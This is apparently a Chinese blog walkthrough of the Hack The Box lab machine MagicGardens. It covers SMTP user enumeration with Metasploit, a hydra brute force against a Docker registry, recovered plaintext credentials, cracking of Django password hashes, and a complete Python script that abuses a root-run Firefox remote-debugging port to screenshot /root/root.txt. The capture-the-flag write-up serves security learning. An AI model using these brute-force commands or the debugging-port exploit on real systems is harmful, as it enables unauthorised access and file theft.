Hack The Box-MagicGardens

总体思路

SMTP用户爆破->5000端口Docker注册表爆破->敏感数据泄露->Firefox远程调试LFI

信息收集&端口利用

nmap -sSVC 10.10.11.9

在这里插入图片描述

目标开放了22、25、80、5000端口,先看80端口是否存在利用点

在这里插入图片描述

目录扫描结果大部分都是302跳转到admin界面,但是网站本身也有一个login界面,访问之

在这里插入图片描述

普通的登录界面存在注册功能,再看admin目录

在这里插入图片描述

是一个Django组件的登录界面,在exploit-db搜索漏洞

在这里插入图片描述

所给出的poc均无法利用,再回到login界面处,注册了名为11的用户

在这里插入图片描述

发现能够购买商品,但是点击购买后没有别的数据

在这里插入图片描述

那么先看个人界面

在这里插入图片描述

有个人信息、购买历史、信息和订阅几个选项,在信息选项中,能看到可以发送信息,想到能不能通过给管理员发送信息,获取其登录凭证

在这里插入图片描述

此处创建了另外一个号,然后给他发送poc尝试获取其cookie,但是没有作用(悲

又看了一遍80端口的网页,发现还是没有利用点,于是转换思路,查看25端口

SMTP用户爆破

在之前的端口扫描中,可以看到25端口支持VRFY

VRFY命令用于验证用户是否存在于SMTP服务器上。攻击者可以使用VRFY命令来枚举用户,从而获取有关目标系统的有用信息。在现代SMTP服务器上,通常会禁用VRFY命令以防止用户枚举攻击

这里我们使用msf中的auxiliary/scanner/smtp/smtp_enum模块对可能存在的用户名进行爆破(需要更换字典)

msf6 > use auxiliary/scanner/smtp/smtp_enum 
msf6 auxiliary(scanner/smtp/smtp_enum) > set rhosts 10.10.11.9
rhosts => 10.10.11.9
msf6 auxiliary(scanner/smtp/smtp_enum) > exploit 

[*] 10.10.11.9:25         - 10.10.11.9:25 Banner: 220 magicgardens.magicgardens.htb ESMTP Postfix (Debian/GNU)
[+] 10.10.11.9:25         - 10.10.11.9:25 Users found: , _apt, alex, avahi-autoipd, backup, bin, daemon, games, irc, list, lp, mail, man, messagebus, news, nobody, postfix, postmaster, proxy, sshd, sync, sys, systemd-network, uucp, www-data
[*] 10.10.11.9:25         - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

发现了邮件用户alex,想到还有5000端口的ssl/http Docker Registry (API: 2.0)服务,尝试爆破

Docker注册表爆破

这里使用hydra对其进行爆破

hydra -l alex -P /usr/share/wordlists/rockyou.txt 10.10.11.9 -s 5000 https-get /v2/

在这里插入图片描述

得到alex的凭证:alex/diamonds

对于5000端口,具体的利用信息可以参考以下链接

https://book.hacktricks.xyz/v/cn/network-services-pentesting/5000-pentesting-docker-registry

在获取登录访问权限后,逐一枚举信息

#List repositories
curl -k -u alex:diamonds http://10.10.11.9:5000/v2/_catalog
{"repositories":["magicgardens.htb"]}

#Get tags of a repository
curl -k -u alex:diamonds https://10.10.11.9:5000/v2/magicgardens.htb/tags/list
{"name":"magicgardens.htb","tags":["1.3"]}

#Get manifests
curl -k -u alex:diamonds https://10.10.11.9:5000/v2/magicgardens.htb/manifests/1.3
{
   "schemaVersion": 1,
   "name": "magicgardens.htb",
   "tag": "1.3",
   "architecture": "amd64",
   "fsLayers": [
      {
         "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
      },
      
      ......

      {
         "v1Compatibility": "{\"id\":\"b296c87bc9a3ebdb9fb6c992b3e4f61e6b364be73864849e386a2dd0321856df\",\"created\":\"2023-08-16T00:59:30.831171691Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:3a6d159d80cb8abfacda5873c243a6ae635ff603708febc4df51f8eec26d3de7 in / \"]}}"
      }
   ],
   "signatures": [
      {
         "header": {
            "jwk": {
               "crv": "P-256",
               "kid": "GCEN:ZRZG:PH4S:5DYA:2JJZ:MKYZ:Q7BJ:XHCS:TCDE:G5X7:3LP2:VHOC",
               "kty": "EC",
               "x": "rXaAeR65MXRR4MeRDHTSXBXRXEsjL8ckaptdT52Q3Is",
               "y": "klREGDVR5l-jXIcne5aI4nY-PoDlMnVeOrpjIAk04Vk"
            },
            "alg": "ES256"
         },
         "signature": "3M60SYpaDbEJvIaMJHTBxtT8ck6SfCSAZZB1zXWlkFZdgLV4cWtqH9jJKDOIMAotZNfibyMrh8NRRJBpkuf7ow",
         "protected": "eyJmb3JtYXRMZW5ndGgiOjIwNzU5LCJmb3JtYXRUYWlsIjoiQ24wIiwidGltZSI6IjIwMjQtMDUtMjFUMDM6NDM6NDdaIn0"
      }
   ]
}

其中blobSum后跟的是文件的名称

使用DockerRegistryGrabber将其下载下来

在这里插入图片描述

在这里插入图片描述

全部解压后逐一查看

在一个usr/src/app中,看到db.sqlite3文件

在这里插入图片描述

使用sqlite打开并查看数据库信息

在这里插入图片描述

发现了morty用户的加密后密码,将这一段密码在hashcat中查找,正好是Django的加密方式

在这里插入图片描述

扔进hashcat解密

在这里插入图片描述

解得morty用户的登录凭证:morty/jonasbrothers

尝试ssh

在这里插入图片描述

同时,也能够登录进80端口的admin界面

在这里插入图片描述

--------------------------------------------更新分界线--------------------------------------------

登录到ssh后,将linpeas上传到靶机,查看是否能扫描出漏洞

非预期方式

在这里插入图片描述

发现有一段黄底红字的进程

这个命令行是用来启动 Firefox Extended Support Release(Firefox ESR)的浏览器实例,并配置它以支持自动化测试,特别是与 Selenium WebDriver 和 Marionette 结合使用时。以下是各个参数的解释:
firefox-esr:这是 Firefox ESR 的可执行文件。Firefox ESR 是为那些需要更长时间支持旧版本的企业和组织提供的 Firefox 版本。
–marionette:启用 Marionette 驱动,这是 Firefox 的 WebDriver 实现。它允许通过 Selenium 或其他 WebDriver 兼容的自动化工具来控制 Firefox。
–headless:在无头模式下启动 Firefox,这意味着浏览器将不会显示图形用户界面(GUI)。这通常用于自动化测试或在没有图形界面的服务器上运行浏览器。
–remote-debugging-port 52735:设置远程调试端口为 52735。通过这个端口,你可以使用 Firefox 开发者工具进行远程调试,或者与其他工具(如 Selenium Grid)进行通信。
–remote-allow-hosts localhost:允许来自 localhost 的远程连接。这通常与 --remote-debugging-port 一起使用,以确保只有来自本地主机的连接才能访问调试端口。
-no-remote:防止 Firefox 尝试打开已经运行的实例。在自动化测试环境中,这个选项很重要,因为它确保你能够控制一个全新的浏览器实例。
-profile /tmp/rust_mozprofileba09VC:使用指定的配置文件夹来启动 Firefox。在这个例子中,配置文件夹位于 /tmp/rust_mozprofileba09VC。这允许你为特定的浏览器实例配置特定的设置、扩展、书签等。

可以看到由于root正在运行启用了远程调试的Firefox,因此肯定存在这种方式的漏洞。CDP协议允许打开任何URL的页面,包括“file://”。它还允许捕获浏览器窗口的屏幕截图,两者结合在一起可以获得任何PNG文件

将靶机的52735端口转发到本地

在这里插入图片描述

执行以下poc,就能得到一张包含/root/roo.txt的PNG图片

#poc.py
import json
import requests
import websocket
import base64

debugger_address = 'http://localhost:52735' # Change port

response = requests.get(f'{debugger_address}/json')
tabs = response.json()

web_socket_debugger_url = tabs[0]['webSocketDebuggerUrl'].replace('127.0.0.1', 'localhost')

print(f'Connect to url: {web_socket_debugger_url}')

ws = websocket.create_connection(web_socket_debugger_url, suppress_origin=True)

command = json.dumps({
            "id": 5,
            "method": "Target.createTarget",
            "params": {
                "url": "file:///root/root.txt"
            }
})

ws.send(command)
target_id = json.loads(ws.recv())['result']['targetId']
print(f'Target id: {target_id}')

command = json.dumps({
                "id": 5,
                "method": "Target.attachToTarget",
                "params": {
                    "targetId": target_id,
                    "flatten": True
                }})

ws.send(command)
session_id = json.loads(ws.recv())['params']['sessionId']
print(f'Session id: {session_id}')

command = json.dumps({
            "id": 5,
            "sessionId": session_id,
            "method": "Page.captureScreenshot",
            "params": {
                "sessionId": session_id,
                "format": "png"
            }
        })

ws.send(command)
result = json.loads(ws.recv())
# I don’t know why but you have to do this twice
ws.send(command)
result = json.loads(ws.recv())

if 'result' in result and 'data' in result['result']:
    print("Success file reading")
    with open("root.png", "wb") as file:
        file.write(base64.b64decode(result['result']['data']))
else:
    print("Error file reading")

ws.close()

在这里插入图片描述

有思路了再更新预期打法

  • 26
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 8
    评论
该资源内项目源码是个人的课程设计、毕业设计,代码都测试ok,都是运行成功后才上传资源,答辩评审平均分达到96分,放心下载使用! ## 项目备注 1、该资源内项目代码都经过测试运行成功,功能ok的情况下才上传的,请放心下载使用! 2、本项目适合计算机相关专业(如计科、人工智能、通信工程、自动化、电子信息等)的在校学生、老师或者企业员工下载学习,也适合小白学习进阶,当然也可作为毕设项目、课程设计、作业、项目初期立项演示等。 3、如果基础还行,也可在此代码基础上进行修改,以实现其他功能,也可用于毕设、课设、作业等。 下载后请首先打开README.md文件(如有),仅供学习参考, 切勿用于商业用途。 该资源内项目源码是个人的课程设计,代码都测试ok,都是运行成功后才上传资源,答辩评审平均分达到96分,放心下载使用! ## 项目备注 1、该资源内项目代码都经过测试运行成功,功能ok的情况下才上传的,请放心下载使用! 2、本项目适合计算机相关专业(如计科、人工智能、通信工程、自动化、电子信息等)的在校学生、老师或者企业员工下载学习,也适合小白学习进阶,当然也可作为毕设项目、课程设计、作业、项目初期立项演示等。 3、如果基础还行,也可在此代码基础上进行修改,以实现其他功能,也可用于毕设、课设、作业等。 下载后请首先打开README.md文件(如有),仅供学习参考, 切勿用于商业用途。
HackTheBox - Reel是一个在黑客社区非常受欢迎的虚拟机靶场。这个靶场的目标是通过渗透测试和攻击手法,找到并获得系统的管理员权限。靶场基于漏洞存在和网络安全问题,提供了一个真实的环境来练习和提升安全技能。 Reel虚拟机是以恶意软件传播为主题的,这是一个很常见但危险的网络攻击。在解决这个靶场时,你需要进行全面的信息搜集,发现可能的漏洞,并利用这些漏洞来控制系统。你还需要进行各种网络嗅探和流量分析操作,以便找到系统中的隐藏服务和登录凭证。 在攻击过程中,你需要利用各种漏洞包括未经授权的访问和远程执行代码等。还需要理解和使用不同的入侵技术,例如命令注入和文件上传等。此外,你可能还需要对恶意软件的分析和行为进行深入研究,以了解其运行机制。 HackTheBox - Reel不仅测试了你的渗透测试技能,而且还促使你加强对恶意软件攻击和防护的了解。同时,这个靶场还有很多高级技术和技巧需要掌握。通过挑战这样的虚拟机,你可以提高你的安全意识和技能,以应对更复杂和高级的网络攻击。 总之,HackTheBox - Reel是一个非常有挑战性的虚拟机靶场,通过攻击和渗透测试,你将提高你的安全技能,并了解到如何防范和对抗恶意软件传播。这是一个很好的方式来锻炼和提升你的网络安全技术。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值